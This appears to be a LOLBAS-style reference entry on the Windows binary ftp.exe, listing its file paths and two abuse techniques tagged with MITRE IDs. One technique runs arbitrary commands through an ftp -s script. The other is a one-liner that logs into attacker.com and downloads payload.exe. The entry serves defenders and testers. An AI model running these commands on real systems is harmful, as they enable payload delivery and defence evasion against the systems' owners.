Ftp.exe

type: OSBinaries
A binary designed for connecting to FTP servers

Full path

C:\Windows\System32\ftp.exe
C:\Windows\SysWOW64\ftp.exe

Commands

  1. ExecuteUser T1202

    Spawn new process using ftp.exe. Ftp.exe runs cmd /C YourCommand

    echo !{CMD} > ftpcommands.txt && ftp -s:ftpcommands.txt

    Executes the commands you put inside the text file.

    os: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Execute: CMD

  2. DownloadUser T1105

    Spawn new process using ftp.exe. Ftp.exe downloads the binary.

    cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"

    Download

    os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: Casey Smith @subtee, BennyHusted, Amit Serper @0xAmit